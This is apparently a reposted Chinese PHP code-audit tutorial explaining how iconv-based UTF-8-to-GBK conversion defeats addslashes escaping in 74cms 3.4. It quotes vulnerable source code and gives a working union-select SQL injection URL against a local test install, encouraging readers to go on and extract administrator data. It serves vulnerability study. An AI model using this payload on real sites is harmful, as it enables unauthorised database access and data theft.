標籤:
0x01 背景
首先我們瞭解下寬位元組注入,寬位元組注入源於程式員設定MySQL串連時錯誤配置為:set character_set_client=gbk,這樣配置會引發編碼轉換從而導致的注入漏洞。具體原理如下:
1.正常情況下當GPC開啟或使用addslashes函數過濾GET或POST提交的參數時,駭客使用的單引號 ‘ 就會被轉義為: \’;
2.但如果存在寬位元組注入,我們輸入%df%27時首先經過上面提到的單引號轉義變成了%df%5c%27(%5c是反斜線\),之後在資料庫查詢前由於使用了GBK多位元組編碼,即在漢字編碼範圍內兩個位元組會被編碼為一個漢字。然後MySQL伺服器會對查詢語句進行GBK編碼即%df%5c轉換成了漢字“運”(註:GBK的漢字編碼範圍見附錄),而單引號逃逸了出來,從而造成了注入漏洞。
現在基本上都會將mysql的串連配置為“set character_set_client=binary”來解決這個問題,所以這篇文章將介紹出現在php中因為字元編碼轉換導致的注入問題。
漏洞來源於烏云:http://www.wooyun.org/bugs/wooyun-2014-063219
0x02 環境搭建
看背景我們使用了低版本的74cms程式,版本為3.4(20140310)
①源碼網上可以搜到,我打包了一份:http://pan.baidu.com/s/1c1mLCru
②解壓到www的74cms(20140310)目錄下,瀏覽器訪問http://localhost/74cms(20140310)),然後按照提示一步步安裝即可,安裝遇到問題請自行百度或Google,成功後訪問如:
0x03 漏洞分析
Part1:源碼結構
源碼的結構比較清晰,應該是審計過最清晰的結構 了,主要有下面三塊內容:
index.php引入了common.inc.php檔案,我們跟進common.inc.php,發現了處理gpc的函數:
<?php if (!empty($_GET)) { $_GET = addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = addslashes_deep($_POST); } $_COOKIE = addslashes_deep($_COOKIE); $_REQUEST = addslashes_deep($_REQUEST); ?>
|
可以看到,服務端處理GET和POST請求的變數時都會做addslashes處理。
而且74cms為了防止寬位元組注入,將MySQL串連設定為二進位讀取,配置在/include/mysql.class.php中:
<?php function connect($dbhost, $dbuser, $dbpw, $dbname = ‘‘, $dbcharset = ‘gbk‘, $connect = 1) { $func = empty($connect) ? ‘mysql_pconnect‘ : ‘mysql_connect‘; if (!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)) { $this->dbshow(‘Can not connect to Mysql!‘); } else { if ($this->dbversion() > ‘4.1‘) { mysql_query("SET NAMES gbk"); if ($this->dbversion() > ‘5.0.1‘) { mysql_query("SET sql_mode = ‘‘", $this->linkid); //character_set_client=binary即二進位方式 mysql_query("SET character_set_connection=" . $dbcharset . ", character_set_results=" . $dbcharset . ", character_set_client=binary", $this->linkid); } } } ... } ?>
|
接下來看看php中iconv函數的使用會造成什麼樣的後果。
Part2:審計過程
注入一分析:
1.在/plus/ajax_user.php註冊處:
elseif($act == ‘do_reg‘) { $captcha = get_cache(‘captcha‘); if ($captcha[‘verify_userreg‘] == "1") { $postcaptcha = $_POST[‘postcaptcha‘]; if ($captcha[‘captcha_lang‘] == "cn" && strcasecmp(QISHI_DBCHARSET, "utf8") != 0) { $postcaptcha = iconv("utf-8", QISHI_DBCHARSET, $postcaptcha); } if (empty($postcaptcha) || empty($_SESSION[‘imageCaptcha_content‘]) || strcasecmp($_SESSION[‘imageCaptcha_content‘], $postcaptcha) != 0) { exit("err"); } } require_once(QISHI_ROOT_PATH . ‘include/fun_user.php‘); $username = isset($_POST[‘username‘]) ? trim($_POST[‘username‘]) : exit("err"); $password = isset($_POST[‘password‘]) ? trim($_POST[‘password‘]) : exit("err"); $member_type = isset($_POST[‘member_type‘]) ? intval($_POST[‘member_type‘]) : exit("err"); $email = isset($_POST[‘email‘]) ? trim($_POST[‘email‘]) : exit("err"); if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0) { //對註冊的名字進行utf-8到GBK的編碼轉換 $username = iconv("utf-8", QISHI_DBCHARSET, $username); $password = iconv("utf-8", QISHI_DBCHARSET, $password); } $register = user_register($username, $password, $member_type, $email);
|
這裡我們思考下“錦”這個字,它的utf-8編碼是e98ca6,它的gbk編碼是e55c,而上面提到過反斜線\正好為5c。
所以如果我們將username設定為:錦’,首先經過addlashes函數或GPC對單引號轉義變為:錦\’,然後這裡註冊時會經過icnov函數會對”錦”轉化為gbk編碼,最後就是:%e5%5c%5c%27。反斜線被轉義了(%5c%5c),從而單引號逃逸出來引發注入漏洞。
2.我們繼續跟進$register=user_register($username,$password,$member_type,$email);
這裡的user_register函數,在/include/fun_user.php裡:
//檢查簡曆的完成程度 //註冊會員 function user_register($username,$password,$member_type=0,$email,$uc_reg=true) { global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash; $member_type=intval($member_type); //這裡是用get_user_inusername函數來判斷使用者名稱是否已經存在,我們跟進 $ck_username=get_user_inusername($username); $ck_email=get_user_inemail($email); ... ... return $insert_id; }
|
3.繼續跟進get_user_inusername函數,在/include/fun_user.php裡:
function get_user_inusername($username) { global $db; //帶入查詢,可注入~ $sql = "select * from ".table(‘members‘)." where username = ‘{$username}‘ LIMIT 1"; }
|
注入二分析:
在plus/ajax_street.php中:
elseif($act == ‘key‘) { $key = trim($_GET[‘key‘]); if (!empty($key)) { if (strcasecmp(QISHI_DBCHARSET, "utf8") != 0) //對參數key進行utf-8到GBK編碼的轉換 $key = iconv("utf-8", QISHI_DBCHARSET, $key); //帶入查詢,可以注入 $result = $db->query("select * from " . table(‘category‘) . " where c_alias=‘QS_street‘ AND c_name LIKE ‘%{$key}%‘ "); //將查詢結果輸出到頁面中,可回顯 while ($row = $db->fetch_array($result)) { if ($listtype == "li") { $htm .= "<li title=\"{$row[‘c_name‘]}\" id=\"{$row[‘c_id‘]}\">{$row[‘c_name‘]}</li>"; } else { $_GET[‘streetid‘] = $row[‘c_id‘]; $url = url_rewrite(‘QS_street‘, $_GET); $htm .= "<li><a href=\"{$url}\" title=\"{$row[‘c_note‘]}\" class=\"vtip\">{$row[‘c_name‘]}</a><span>{$row[‘stat_jobs‘]}</span></li>"; }; } if (empty($htm)) { $htm = "<span class=\"noinfo\">沒有找到關鍵字: <span>{$key}</span> 相關道路!</span>"; } exit($htm); } }
|
這裡分析發現頁面將查詢結果回顯出來,構造一些union的查詢語句即可擷取資料庫的敏感資訊。
0x04 漏洞證明
我們使用注入二(有回顯)的來做證明
發現74cms的category表有9個欄位,所以構造擷取資料庫使用者和相關資訊的POC:
http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select%201,2,3,user(),5,6,7,database(),9%23
查看sql語句發現查詢語句裡反斜線被轉移,單引號成功逃逸出來:
最後,有興趣的同學可以繼續擷取其它的管理員賬戶等相關欄位的資訊。
附GBK的漢字編碼範圍:
漢字區包括:
a. GB 2312 漢字區。即 GBK/2: B0A1-F7FE。收錄 GB 2312 漢字 6763 個,按原順序排列。
b. GB 13000.1 擴充漢字區。包括:
(1) GBK/3: 8140-A0FE。收錄 GB 13000.1 中的 CJK 漢字 6080 個。
(2) GBK/4: AA40-FEA0。收錄 CJK 漢字和增補的漢字 8160 個。CJK 漢字在前,按 UCS 代碼大小排列;增補的漢字(包括部首和構件)在後,按《康熙字典》的頁碼/字位排列。
可以看到,GBK編碼中的兩個字元是一個漢字,第一個字元需要大於128。
原文連結:http://www.cnbraid.com/2016/02/28/sql4/,如需轉載請聯絡作者。
【PHP代碼審計】 那些年我們一起挖掘SQL注入 - 5.全域防護Bypass之寬位元組注入